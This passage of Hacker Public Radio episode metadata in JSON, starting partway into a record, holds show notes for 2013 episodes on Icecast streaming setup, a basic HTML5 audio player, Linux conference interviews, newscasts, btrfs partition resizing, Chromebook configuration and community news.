      \n#start the streaming server\nicecast -c /etc/icecast.xml -B\n\n#start the mp3 stream\nices-cc -c /etc/ices-cc.conf -F /home/dj/playlist.txt -R -b 96 -m mp3 -P radio\n\n# start the ogg stream\nices /etc/ices/ices-playlist.xml\n
      \n

      \nHere is the code for the simple HTML5 player that Klaatu mentions in\nthe episode. It's straight HTML5 but in case you're new to HTML5\nthen this could be useful:\n

      \n
      \n<!DOCTYPE html>\n<html lang=\"en\">\n  <head>\n    <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />\n    <title>My Great Streaming Server Example dot Com</title>\n</head>\n<div id=\"player\">\n<audio width=\"100px\" height=\"200px\" autoplay loop controls autobuffer preload=\"auto\">\n      <source src=\"https://example.com:8000/mp3\" type=\"audio/mp3\" />\n      <source src=\"https://example.com:8000/ogg\" type=\"audio/ogg\" />\n</audio>\n</div>\n  </body>\n</html>\n
      \n\n

      \nKlaatu is indebted to Kwisher, Delwin, and Ruji for their help on this\nseries.\n

      ","hostid":78,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Icecast,Ices,Ices-cc","version":0,"downloads":1889,"valid":1}, {"id":1208,"date":"2013-03-20","title":"Northeast Linux Fest 2013 p1-3","duration":1267,"summary":"Interviews from NELF, part 1","notes":"

      \nIn the first in our series of \"Live\" reports from \"The northeast GNU/Linux fest\", our roving reporters track down interviewees on the show floor.\n

      \n

      \nFrom https://www.northeastlinuxfest.org/About%20us
      \n\nThe northeast GNU/Linux fest is an advocate of Free software. We hope to bring awareness of Free software to college students their schools, programmers and businesses. We welcome everyone from the new user to the people that have been there from the beginning. \n\n

      \n","hostid":235,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"\"Northeast Linux Fest\",NELF,interview","version":0,"downloads":1853,"valid":1}, {"id":1209,"date":"2013-03-21","title":"Northeast Linux Fest 2013 p2-3","duration":2792,"summary":"Interviews from NELF, part 2","notes":"

      In the second in our series of \"Live\" reports from \"The northeast GNU/Linux fest\", our roving reporters track down Jon \"maddog\" Hall who is the Executive Director of Linux International, a non-profit organization of computer professionals who wish to support and promote Linux-based operating systems.
      \nhttps://en.wikipedia.org/wiki/Jon_Hall_%28programmer%29\n

      \n

      \nFrom https://www.northeastlinuxfest.org/About%20us
      \n\nThe northeast GNU/Linux fest is an advocate of Free software. We hope to bring awareness of Free software to college students their schools, programmers and businesses. We welcome everyone from the new user to the people that have been there from the beginning. \n\n

      \n","hostid":235,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"\"Northeast Linux Fest\",NELF,interview","version":0,"downloads":1827,"valid":1}, {"id":1210,"date":"2013-03-22","title":"Northeast Linux Fest 2013 p3-3","duration":936,"summary":"Interviews from NELF, part 3","notes":"

      \nIn the third in our series of \"Live\" reports from \"The northeast GNU/Linux fest\", our roving reporters track down interviewees on the show floor.\n

      \n

      \nFrom https://www.northeastlinuxfest.org/About%20us
      \n\nThe northeast GNU/Linux fest is an advocate of Free software. We hope to bring awareness of Free software to college students their schools, programmers and businesses. We welcome everyone from the new user to the people that have been there from the beginning. \n\n

      \n","hostid":235,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"\"Northeast Linux Fest\",NELF,interview","version":0,"downloads":1904,"valid":1}, {"id":1211,"date":"2013-03-25","title":"NELF Wrapup","duration":3369,"summary":"Final report from the Northeast GNU/Linux Fest 2013","notes":"In the last of in our series of reports from \"The northeast GNU/Linux fest\", we have a wrap-up session with Russ.\n

      \n

      \nFrom https://www.northeastlinuxfest.org/About%20us
      \n\nThe northeast GNU/Linux fest is an advocate of Free software. We hope to bring awareness of Free software to college students their schools, programmers and businesses. We welcome everyone from the new user to the people that have been there from the beginning. \n

      \n","hostid":109,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"\"Northeast Linux Fest\",NELF,interview","version":0,"downloads":1786,"valid":1}, {"id":1212,"date":"2013-03-26","title":"TGTM Newscast for 3/22/2013 Rebecca \"Bobobex\" Newborough","duration":867,"summary":"A newscast from Talk Geek to Me","notes":"

      Here is a news review:

      \n
        \n
      • Chavez\nSucceeded Where Obama Failed\n
      • \n
      • Too\nBig to Jail\n
      • \n
      • Tragic\nLoss in Pakistan: Parveen Rehman Gunned Down\n
      • \n
      • Contradictions\nand Conservatism Muddle Hopes for Change Under Jesuit Pope\n
      • \n
      • Watershed\n
      • \n
      • Finally,\nSome Limit to Electronic Searches at the Border\n
      • \n
      • Google\nTakes the Dark Path, Censors AdBlock Plus on Android\n
      • \n
      • Cyber-Attacks\nMore of a Threat to U.S. Than al-Qaeda \n
      • \n
      • Details\nCome Out On US Attorneys Withholding Evidence In Aaron Swartz Case\n
      • \n
      • Kickstarter\nProjects That Don't Meet Their Goal Are Not 'Failures'; They Help\nPeople Avoid Failures\n
      • \n
      \n

      Other Headlines:

      \n\n

      Staffed and produced by the TGTM news team, Editorial Selection by\nDeepGeek, views of the story\nauthors reflect their own opinions and not neccesarily those of TGTM\nnews.\n

      \n

      News from \"techdirt.com,\" \"emptywheel.net,\" \n\"inthesetimes.com,\"\nand\n\"maggiemcneill.wordpress.com\" used\nunder arranged\npermission.

      \n

      News\nfrom \"eff.org\" used\nunder\npermission of the Creative Commons\nby-attribution license.

      \n

      News from \"rhrealitycheck.org\" used under permission of the Creative\nCommons by-attribution share-alike license.
      \n

      \n

      News from \"venezuelanalysis.com,\" and \"democracynow.org,\" used under\npermission of the Creative Commons\nby-attribution non-commercial no-derivatives license.
      \n

      \n

      News Sources retain their respective copyrights.

      \n

      Links

      \n\n","hostid":237,"series":65,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM","version":0,"downloads":1686,"valid":1}, {"id":1213,"date":"2013-03-27","title":"LiTS 026: units","duration":983,"summary":"Unit conversion and calculation program: units","notes":"

      Last episode of Linux in the Shell discussed the use of the bc command to perform math on the command line. This episode continues in suit with a mathematical theme picking up from the last examples of converting between different number systems or units. While bc can help you convert between units if you know the formulas, there is another program which will do it all for your units. Chances are units is not installed by default but a simple check in your package manager should allow you to add units to your daily tool set.\n

      \n

      \nFor more on this post and to see the video please see the main article
      \nhttps://www.linuxintheshell.com/2013/03/27/episode-26-units/\n

      \n","hostid":7,"series":67,"explicit":1,"license":"CC-BY-SA","tags":"units","version":0,"downloads":2406,"valid":1}, {"id":1214,"date":"2013-03-28","title":"LinuxFest Northwest is April 27, 28,2013","duration":2252,"summary":"An Interview with Jakob Perry https://linuxfestnorthwest.org","notes":"

      \nLinuxFest Northwest is April 27, 28, 2013 - an Interview with Jakob Perry https://linuxfestnorthwest.org\n

      \n

      \nSeries/Tags: Show notes, Jakob Perry, LinuxFest Northwest, beer, Linux, Bellingham, Bellingham Technical College, Bellingham Linux Users Group\n

      \n

      \nAn interview with Jakob Perry by David Whitman\n

      \n

      \nLinuxFest Nothwest is to be held April 27, 28, 2013\n

      \n

      \nWebsite is https://linuxfestnorthwest.org\n

      \n

      \nPlan to attend if you can.\n

      \n

      \nLinuxFest Northwest is an annual event produced by the Bellingham Linux Users Group, and volunteers from other northwest U.S. open source users groups. It is held on the campus of Bellingham Technical College (directions at the BTC website under ABOUT BTC). The Fest features Linux and open source experts and aficionados sharing their experience and enthusiasm with a wide variety of free and open source technologies.\n

      \n

      \nThis generally means that there will be a lot of smart people who come with something to share and a desire to learn. This is a low cost/high value event that's held on a weekend, so there are also folks who don't usually go to commercial conferences. All in all, it's a lot of fun with fresh faces on eager people.\n

      ","hostid":209,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"\"Jakob Perry\",\"LinuxFest Northwest\",beer,Linux,Bellingham,\"Bellingham Technical College\",\"Bellingham Linux Users Group\"","version":0,"downloads":1693,"valid":1}, {"id":1215,"date":"2013-03-29","title":"Pair Programming","duration":498,"summary":"An agile software development technique where two programmers work together at one workstation","notes":"

      \nLinks:\n

      \n

      \nModulus7 Pair Programming Interview: https://modulus7.com/7-bit-podcast-episode-pair-programming/\n

      \n

      \nPair Programming on the Portland Patterns Repository: https://c2.com/cgi/wiki?PairProgramming\n

      \n

      \nPair Programming at C2 (similar content): https://c2.com/xp/PairProgramming.html\n

      \n

      \nWikipedia Entry: https://en.wikipedia.org/wiki/Pair_programming\n

      \n

      \nXP Pair Programming Resources: https://www.extremeprogramming.org/rules/pair.html\n

      \n

      \nGNU Screen: https://www.gnu.org/software/screen/\n

      \n

      \ntmux: https://tmux.sourceforge.net/\n

      \n

      \nSubEthaEdit: https://www.codingmonkeys.de/subethaedit/\n

      \n

      \nGobby: https://gobby.0x539.de/trac/\n

      \n

      \nMy Company: https://altbit.org\n

      \n

      \nMy Personal Site: https://hobbsc.sdf-us.org\n

      ","hostid":241,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"\"agile software\",\"pair programming\",\"GNU Screen\",tmux","version":0,"downloads":1904,"valid":1}, {"id":1216,"date":"2013-04-01","title":"Digital Data Transfer","duration":1344,"summary":"Digital Data Transfer","notes":"

      Spoiler

      \n

      How better to explain it than by sending it out in Morse Code https://hackerpublicradio.org/eps.php?id=1343.

      \n

      \nIn this the first in a series exploring The Open Systems Interconnection (OSI) model (ISO/IEC 7498-1)\n

      \n

      \n\nOSI model
      \nFrom Wikipedia, the free encyclopedia https://en.wikipedia.org/wiki/OSI_model\n
      \n

      \n

      \n\nThe Open Systems Interconnection (OSI) model (ISO/IEC 7498-1) is a product of the Open Systems Interconnection effort at the International Organization for Standardization. It is a prescription of characterizing and standardizing the functions of a communications system in terms of abstraction layers. Similar communication functions are grouped into logical layers. A layer serves the layer above it and is served by the layer below it.\n\n

      \n

      \n\nFor example, a layer that provides error-free communications across a network provides the path needed by applications above it, while it calls the next lower layer to send and receive packets that make up the contents of that path. Two instances at one layer are connected by a horizontal connection on that layer.\n\n

      \n

      \nIn today's show Ken starts off with a practical example of Layer One, the The Physical Layer, https://en.wikipedia.org/wiki/Physical_layer. Although we are limited to audio for the purposes of the show, the same techniques could and are used across the light spectrum.\n

      \n","hostid":30,"series":83,"explicit":1,"license":"CC-BY-SA","tags":"OSI,ISO/IEC 7498-1,7-layer model","version":0,"downloads":6100,"valid":1}, {"id":1217,"date":"2013-04-02","title":"HPR Community News for March 2013","duration":3300,"summary":"HPR Community News for March 2013","notes":"

      New hosts

      \n

      \nWelcome to our new hosts: \nJon Kulp, \nb1ackcr0w, \nSteve Bickle, and\nChristopher M. Hobbs.\n

      \n\n

      Show Review

      \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n
      id\ntitle\nhost\n
      1196HPR Community News Feb 2013Various Hosts
      1197What I do with bash scriptsJon Kulp
      1198THEATER OF THE IMAGINATION: 05lostnbronx
      1199Old Time Radio on the webFrank Bell
      1200CJE Computer Jargon Explained 01b1ackcr0w
      1201In My Feed - Episode 01Steve Bickle
      1202LiTS 025: bcDann
      1203templer: a static html generatorChess Griffin
      1204My Magnatune DownloaderDave Morriss
      1205TGTM Newscast for 3/10/2013Tgtm News Team
      1206Resolving Issues (The Vhost Config File)NYbill and Windigo
      1207Icecast 101klaatu
      1208Northeast Linux Fest 2013 p1-3NYbill
      1209Northeast Linux Fest 2013 p2-3NYbill
      1210Northeast Linux Fest 2013 p3-3NYbill
      1211NELF WrapupVarious Hosts
      1212TGTM Newscast for 3/22/2013 Rebecca "Bobobex" NewboroughTgtm News Team
      1213LiTS 026: unitsDann
      1214LinuxFest Northwest is April 27, 28,2013David Whitman
      1215Pair ProgrammingChristopher M. Hobbs
      \n\n\n\n\n

      Other News

      \n\n\n

      Todo List

      \n

      \nAutomate the presentation
      \nSecuring the website
      \nSearch options
      \nIntroduction to HPR video
      \nUpload Form
      \nAdd ATOM Feed
      \nOpus Support
      \nIntroduction of show Tags
      \nEvents Page
      \nTwitter/Identi.CA Feed
      \nUpload to Archive.org
      \nAutomatic tagging of media files
      \nAutomating media upload, identification and transcoding
      \nFixing broken links
      \nFixing broken HTML/Converting to HTML5/CSS3
      \n

      \n

      Events

      \n\n\n\n

      We need shows

      \n

      \nThere are 22 shows in the queue from 7 hosts and 175 slots to fill this year so please consider contributing a show. https://hackerpublicradio.org/calendar.php\n

      \n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":1807,"valid":1}, {"id":1218,"date":"2013-04-03","title":"TGTM Newscast for 2013/03/27 DeepGeek and Pokey","duration":1843,"summary":"A newscast from Talk Geek to Me","notes":"

      Here is a news review:

      \n\n

      Other Headlines:

      \n\n

      Staffed and produced by the TGTM news team, Editorial Selection by\nDeepGeek, views of the story\nauthors reflect their own opinions and not neccesarily those of TGTM\nnews.\n

      \n

      News from \"techdirt.com,\" \"havanatimes.org,\" \n\"maggiemcneill.wordpress.com,\"\nand\n\"allgov.com\" used\nunder arranged\npermission.

      \n

      News\nfrom \"torrentfreak.com\" and \"eff.org\" used\nunder\npermission of the Creative Commons\nby-attribution license.

      \n

      News from \"democracynow.org\" used under permission of the Creative\nCommons\nby-attribution non-commercial no-derivatives license.
      \n

      \n

      News Sources retain their respective copyrights.

      \n\n

      Links

      \n\n","hostid":237,"series":65,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM","version":0,"downloads":1537,"valid":1}, {"id":1219,"date":"2013-04-04","title":"The Care and Feeding of the Flintlock Muzzleloading Rifle","duration":1557,"summary":"Russ speaks about a hobby he used to be very involved in","notes":"

      Links

      \n\n","hostid":242,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"firearm,Flintlock,Muzzleloading,Rifle","version":0,"downloads":1742,"valid":1}, {"id":1220,"date":"2013-04-05","title":"Cinnarch 64 bit, Installation Review","duration":1898,"summary":"Cinnarch, an Arch-based distro running Cinnamon","notes":"

      \nHowdy folks, this is FiftyOneFifty, and today I wanted to talk about my experiences installing the 64 bit version of Cinnarch net edition on a dual core notebook. Cinnarch of course is a relatively new Arch based distro running the Cinnamon fork of Gnome. I had previously installed Arch proper on this notebook, but when I rebooted to the hard drive, I lost the Ethernet connection. This is not uncommon, but there the notebook sat while until I had time to work the problem. I wanted to start using the notebook, and I'd heard good things about Cinnarch, so it seemed like a simple solution. I went into knowing Cinnarch was in alpha, so i shouldn't have been surprised when an update broke the system less then a week after the install, but that comes later in my story.\n

      \n

      \nComplete show notes are available here: https://hackerpublicradio.org/eps/hpr1220/index.html\n

      ","hostid":131,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Cinnarch","version":0,"downloads":1938,"valid":1}, {"id":1221,"date":"2013-04-08","title":"TGTM Newscast 93 for 2013-04-02 DeepGeek and Dann Washko ","duration":1152,"summary":"A newscast from Talk Geek to Me","notes":"

      Here is a news review:

      \n \n

      Other Headlines:

      \n \n

      Staffed and produced by the TGTM news team, Editorial Selection by DeepGeek, views of the story authors reflect their own opinions and not neccesarily those of TGTM news.

      \n

      News from \"techdirt.com,\" \"inthesetimes.com,\" and \"allgov.com\" used under arranged permission.

      \n

      News from \"rhrealitycheck.org\" used under terms of their republication policy. \n

      \n

      News from \"torrentfreak.com\" used under permission of the Creative Commons by-attribution license.

      \n

      News from \"democracynow.org,\" used under permission of the Creative Commons by-attribution non-commercial no-derivatives license.\n

      \n

      News Sources retain their respective copyrights.

      \n\n

      Links

      \n \n","hostid":237,"series":65,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM","version":0,"downloads":1722,"valid":1}, {"id":1222,"date":"2013-04-09","title":"LiTS 027: mathematical commands","duration":1277,"summary":"Episode 27 of Linux in the Shell continues on with looking at some mathematical commands","notes":"

      \nEpisode 27 of Linux in the Shell continues on with looking at some mathematical commands. Four programs are discussed:\n

      \n\n
        \n
      • factor - which will give you the prime factors of a number

        \n
      • \n
      • primes - which will list all the prime numbers between a start and option stopping number

        \n
      • \n
      • seq - sequence will list all the numbers given a stopping point or a starting and stopping point. You can also specify an increment or decrement value.

        \n
      • \n
      • arithmetic - Arithmetic is a game from the bsd games package that will quiz you on arithmetic problems.\n
      • \n
      \n\n

      \nFor full notes go to https://www.linuxintheshell.com/2013/04/09/episode-27-factor-primes-seq-and-arithmetic/\n

      \n","hostid":7,"series":67,"explicit":1,"license":"CC-BY-SA","tags":"factor, primes, seq, arithmetic","version":0,"downloads":2393,"valid":1}, {"id":1223,"date":"2013-04-10","title":"How I got into linux","duration":719,"summary":"From Windows to Arch with a few other Linux versions along the way","notes":"In today's episode, jezra shares the story of how he got into Linux.","hostid":243,"series":29,"explicit":1,"license":"CC-BY-SA","tags":"Windows,\"Corel Linux\",\"Red Hat Linux\",Ubuntu,Debian,Arch,Python,jedit,geany","version":0,"downloads":1997,"valid":1}, {"id":1224,"date":"2013-04-11","title":"Podio Book Report on Jake Bible's \"Dead Mech\"","duration":1083,"summary":"A review of a well thought of book","notes":"In today's show FiftyOneFifty shares his review of the PodioBook by Jake Bible's \"Dead Mech\" and Reflections Upon Podcasting from the Bottom of a Well\n
      \nhttps://podiobooks.com/title/dead-mech/
      \nhttps://jakebible.com/\n","hostid":131,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"audiobook,podiobooks.com","version":0,"downloads":1788,"valid":1}, {"id":1225,"date":"2013-04-12","title":"Modern Survivalism Part 2","duration":2768,"summary":"Modern Survivalism - part 2 of 2","notes":"\n

      \nToday's show we start a new series on Modern Survivalism where you do everything you can to make your life better now by lessening dependency, trying to live debt free and learning basic skills.\n

      ","hostid":190,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Modern Survivalism ","version":0,"downloads":2110,"valid":1}, {"id":1226,"date":"2013-04-15","title":"TGTM Newscast for 2013-04-09 DeepGeek & Pokey","duration":1086,"summary":"A newscast from Talk Geek to Me","notes":"\n\n

      Here is a news review:

      \n\n

      Other Headlines:

      \n\n

      Staffed and produced by the TGTM news team, Editorial Selection by DeepGeek, views of the story\nauthors reflect their own opinions and not neccesarily those of TGTM\nnews.\n

      \nNews from \"techdirt.com,\" \"iww.org,\"  and\n\"rawstory.com\" used\nunder arranged\npermission.

      \n

      News\nfrom \"torrentfreak.com,\" and \"The South African Civil Society Information Service (www.sacsis.org.za)\" used\nunder\npermission of the Creative Commons\nby-attribution license.

      \n\n

      News from \"venezuelanalysis.com,\" and \"democracynow.org,\"  used under permission of the Creative Commons\nby-attribution non-commercial no-derivatives license.
      \n

      \n

      News Sources retain their respective copyrights.

      \n\n

      links

      \n","hostid":237,"series":65,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM","version":0,"downloads":1740,"valid":1}, {"id":1227,"date":"2013-04-16","title":"Not-A-Con interview","duration":927,"summary":"Mordancy interviews Froggy, the founder of Not-A-Con","notes":"\n

      \nThis is an interview with Froggy, the founder of Not-A-Con, It was recorded at Ba-Con in Columbus last summer.\n

      \n

      Links

      \n\n","hostid":200,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"Not-A-Con, Convention, PixelJam","version":0,"downloads":1782,"valid":1}, {"id":1228,"date":"2013-04-17","title":"Utilizing Maximum Space on a Cloned BTRFS Partition","duration":1001,"summary":"Using the Btrfs Utility to make use of the entirety of a cloned disk","notes":"\n\n

      Utilizing Maximum Space on a Cloned BTRFS Partition

      \n

      by FiftyOneFifty

      \n\n
        \n
      1. If you clone a disk to a disk, Clonezilla will increase (decrease) the size of each partition proportional to the relative size of the drives.\n\t
          \n\t
        1. I wanted to keep my / the same size and have no swap (new drive was SSD), so I did a partition to partition clone instead
        2. \n\t
        3. Created partitions on the new SSDs with a GParted Live CD, 12Gb root (Ext4) and the remainder for /home, (btrfs, because I planned to move to SSD from the start, and last summer only btrfs supported TRIM)
        4. \n\t
        \n
      2. \n
      3. After cloning /dev/sda1 to /dev/sdb1 and /dev/sda2 to /dev/sdb2 using Clonezilla, I inspected the new volumes with the GParted Live CD\n\t
          \n\t
        1. /dev/sdb2 had 40% inaccessible space, i.e., the usable space was the same size as the old /home volume
        2. \n\t
        3. GParted flagged the error and said I could correct it from the menu (Partition->Check) but btrfs doesn't support fsck, so it didn't work
        4. \n\t
        5. Tried shrinking the volume in GParted and re-expanding it to take up the free space, also didn't work.
        6. \n\t
        \n
      4. \n
      5. Discovered 'btrfs utility' and that it was supported by the GParted Live CD\n\t
          \n\t
        1. Make a mount point\n\t\t
            \n\t\t
          • sudo mkdir /media/btrfs
          • \n\t\t
          \n\t
        2. \n\t
        3. Mount the btrfs volume\n\t\t
            \n\t\t
          • sudo mount /dev/sdb2 /media/btrfs
          • \n\t\t
          \n\t
        4. \n\t
        5. Use btrfs utility to expand the btrfs file system to the maximum size of the volume\n\t\t
            \n\t\t
          • sudo btrfs filesystem resize max /media/btrfs
          • \n\t\t
          \n\t
        6. \n\t
        7. Unmount the btrfs volume\n\t\t
            \n\t\t
          • sudo umount /dev/sdb2
          • \n\t\t
          \n\t
        8. \n\t
        \n
      6. \n
      7. Rechecked /dev/sdb2 with GParted, I no longer had inaccessible space
      8. \n
      \n","hostid":131,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Btrfs,CloneZilla,\"Btrfs Utility\"","version":0,"downloads":1790,"valid":1}, {"id":1229,"date":"2013-04-18","title":"Chromebook Acer C7 Review","duration":663,"summary":"New host Helvetin tells us about his Chromebook Acer C7","notes":"\n

      \nI got into Linux after listening to lots of podcasts during my work commute and I am one of those non-technical people listening that after lots of worrying finally installed Ubuntu and found out that it works pretty easily. A few month ago I got a raspberry pi and played with its Arch Linux version and very recently got the Acer C7 Chromebook and immediately put Chrubuntu on it, which is also how I am recording this.\n

      \n

      \nSo here is my strange problem. I currently have a Swiss-German keyboard layout at work, at the previous job I had an standard US keyboard and I am pretty sure that this chromebook has a UK keyboard. So I needed to find a really fast way to switch at first the UK keyboard layout to the Swissgerman layout and then also have a change to change to the US keyboard easily, because it happens ... you may believe it or not ... that some things I just know where they are in the US layout better than the Swiss layout and vice versa.\n

      \n

      \nThis is not really a problem if you stick with Unity. You go to System Settings, Keyboard Layout and add the relevant. Where are those System settings now? \n

      \n

      \nsetxkbmap is the command. In /usr/share/X11/xkb/rules I found all the layouts (ch for Swiss and us for American layout). I added the option to toggle between ch and us by click both shift keys. So the full command as alias is Swiss='setxkbmap -option 'grp:shifts_toggle' 'ch,us''. To not write the entire thing you can add this as a alias in .bashrc or probably put somewhere in a startup file, so you don't have to worry about it.\n

      \n

      \nFurther configurations and installations:\n

      \n\n
        \n
      • To enable the 2nd screen use command: xrandr --output HDMI1 --auto --right-of LVDS1\n
      • \n
      • Change hostname by editing nano /etc/hostname (by default it is Chrubuntu)\n
      • \n
      • Install cmatrix just for fun\n
      • \n
      • Installations: Desktop Environment openbox, lxde, i3 just to play around - Terminator as terminal emulation - ranger as file manager - s3cmd for offsite backup, although dropbox and spideroak work too (s3cmd works also on raspberry pi) - encryption with encfs and truecrypt\n

        \n
      • \n
      ","hostid":244,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Chromebook, New Host","version":0,"downloads":1887,"valid":1}, {"id":1230,"date":"2013-04-19","title":"Google How Could You","duration":758,"summary":"About Stephanie Chute, an Android developer whose Google Play account was wrongfully closed","notes":"\n\n

      \nIn this episode I talk about Stephanie Chute, an Android developer whose Google Play account was wrongfully pulled recently by Google. I also encourage others to reach out to Google to right this injustice.\n

      \n

      \nContact info:\n

      \n
      \nIRC:\n   Nick:    neodragon \n   Channel: #oggcastplanet\n   Server:  irc.freenode.net \n(Minor correction here, in the audio I said .org instead of .net) \n\nGoogle+: Mathew Stahl\n\nTwitter: neodragon34\n
      \n\n

      links

      \n\n\n","hostid":210,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Show notes, Google, Google Play Store, Android Development, Android, Programming","version":0,"downloads":2066,"valid":1}, {"id":1231,"date":"2013-04-22","title":"TGTM Newscast for 2013-04-16 Bobobex","duration":1101,"summary":"A newscast from Talk Geek to Me","notes":"

      Here is a news review:

      \n\n

      Other Headlines:

      \n\n

      Staffed and produced by the TGTM news team, Editorial Selection by\nDeepGeek, views of the story\nauthors reflect their own opinions and not neccesarily those of TGTM\nnews.\n

      \n

      News from \"techdirt.com,\" \"rawstory.com,\"  \"havanatimes.org,\"\nand\n\"allgov.com\" used\nunder arranged\npermission.

      \n

      News\nfrom \"torrentfreak.com,\" and \"eff.org\" used\nunder\npermission of the Creative Commons\nby-attribution license.

      \n

      News from \"democracynow.org,\" used under permission of the Creative\nCommons\nby-attribution non-commercial no-derivatives license.
      \n

      \n

      News Sources retain their respective copyrights.

      \n\n

      Links

      \n","hostid":237,"series":65,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM","version":0,"downloads":1699,"valid":1}, {"id":1232,"date":"2013-04-23","title":"LiTS 028: extended attributes","duration":1490,"summary":"List and change extended file attributes with lsattr and chattr","notes":"Episode 28 of Linux in the Shell talks about extended attributes and how \nto view them with lsattr and change them with chattr. Attributes are \ndiscussed in some detail and those that are mutable by chattr are noted.\n
      \nhttps://www.linuxintheshell.com/2013/04/23/episode-028-extended-attributes-lsattr-and-chattr/\n","hostid":7,"series":67,"explicit":1,"license":"CC-BY-SA","tags":"extended attributes,lsattr,chattr","version":0,"downloads":2567,"valid":1}, {"id":1233,"date":"2013-04-24","title":"Playing Ingress","duration":3157,"summary":"Epicanis discusses playing Ingress, Google's new location-based capture-the-flag game in beta.","notes":"

      This is the first of two or maybe three parts on the subject on Ingress,\n which was released into invitation-only beta-testing by Google in November of 2012.

      \n

      Ingress is a \nworld-spanning location-based game set in a world somewhere between the real one \nand a fictional one that is almost exactly like the real one except with space-alien \nmind control conspiracies.

      \n

      This episode is purely about \"playing the game\". The follow-up episode will be \nmore about the underlying technology and things you (and Google) might be able to do \nwith it besides the core gameplay.

      \n

      There may be a third part if there is enough interest.

      \n

      A final note - the app version that I mention in the show was upgraded\nliterally about 5 minutes after I finished editing and started to prepare this\nshow for upload. (And, yes, I'm using \"literally\" correctly - I mean I finished\nexporting the file from audacity, went to check Google+, and within 300 seconds\nsomeone was mentioning that a new version was out). It does seem to resolve\nsome of the problems I mentioned, just as I speculated that it might. I'll \nfollow up on this and any subsequent updates in the followup episode.

      \n

      Comments and suggestions and demands for more episodes are welcome, nay, \nencouraged either on this episode's comments at hackerpublicradio.org\nor on my own blog at https://hpr.dogphilosophy.net . Thanks for listening!

      \n","hostid":182,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Ingress, Google, Gaming, Mobile, Geolocation, Mind-control","version":0,"downloads":1919,"valid":1}, {"id":1234,"date":"2013-04-25","title":"fightcodegame.com","duration":210,"summary":"Mike Hingley highlights a useful site for getting to grips with Javascript.","notes":"

      fightcodegame.com

      \n

      \nIn this episode Mike Hingley highlights a potentially useful website\nfor those learning Javascript - Fightcodegame.com uses github\nautehtication, and provides an arena where virtual robots can battle\nfor ultimate supremacy.\n

      \n

      fightcodegame.com: https://fightcodegame.com/

      \n

      Mike Hingley's fightcodegame.com profile: https://fightcodegame.com/profile/computamike/

      \n","hostid":185,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Javascript, web sites","version":0,"downloads":1762,"valid":1}, {"id":1235,"date":"2013-04-26","title":"Talk Cyberpunk To Me","duration":613,"summary":"A wearable computer constructed from a Raspberry Pi","notes":"

      \nSigflup talks about her wearable computer constructed from a raspberry pi. She also releases a terminal emulator meant for wearable computers with low-res displays.\n

      \n\n

      \n
      https://www.theadesilva.com/cyborg.jpg\n

      \n

      \n
      https://www.theadesilva.com/cyborg2.jpg\n

      \n

      \nhttps://www.theadesilva.com/vt3.tgz\n

      \n\n","hostid":115,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"\"raspberry pi\",myvu,cyberpunk,\"wearable computer\"","version":0,"downloads":2156,"valid":1}, {"id":1236,"date":"2013-04-29","title":"Lament For httpd","duration":428,"summary":"Moving away from the thttpd web server","notes":"

      \nDeepGeek gets all emotional about changing web servers at his web\nco-op. \"Hell, it's just a tool.\" Not for DeepGeek, who equates moving\naway from thttpd to the closing of an era! To him, \"slick design\" can\ntake a backseat to feelings of camaraderie from your fellows on the\nintwebz any day of the week!\n

      \n

      \nA few well-placed links...\n

      \n\n\n","hostid":73,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"\"web server\",thttpd","version":0,"downloads":1829,"valid":1}, {"id":1237,"date":"2013-04-30","title":"Cory Doctorow tribute to Aaron Swartz","duration":3887,"summary":"A commemoration of the late Aaron Swartz","notes":"

      \nToday is a special show to commemorate the passing of Aaron Swartz. Thanks to Thomas Gideon for publishing and allowing us to retransmit this audio.\n

      \n\n\n

      Links

      \n\n","hostid":158,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"\"Aaron Swartz\",thecommandline.net,\"Cory Doctorow\"","version":0,"downloads":1906,"valid":1}, {"id":1238,"date":"2013-05-01","title":"Word processors are overrated","duration":603,"summary":"The typical tools people use to write a text, are often the wrong tools.","notes":"

      \nWord processors are overrated. Too often they are used instead of better\nalternatives. For example: to write a report, to describe a workflow\nor a vision, a lot of people just grab Microsoft Word. Which is a bad\nidea. Should you use LibreOffice Writer then? OpenOffice? Maybe Google\ndocs? They are not much better.\n

      \n

      \nIf the focus of your text is on its content, if the structure of your\ntext is important, if the way the text is laid out is less important\nthan the consistency of the lay-out, or if you want to collaborate with\nother people, you should not use a typical mainstream word processor.\n

      \n

      \nRead more on my blog https://www.johanv.org/node/204\n

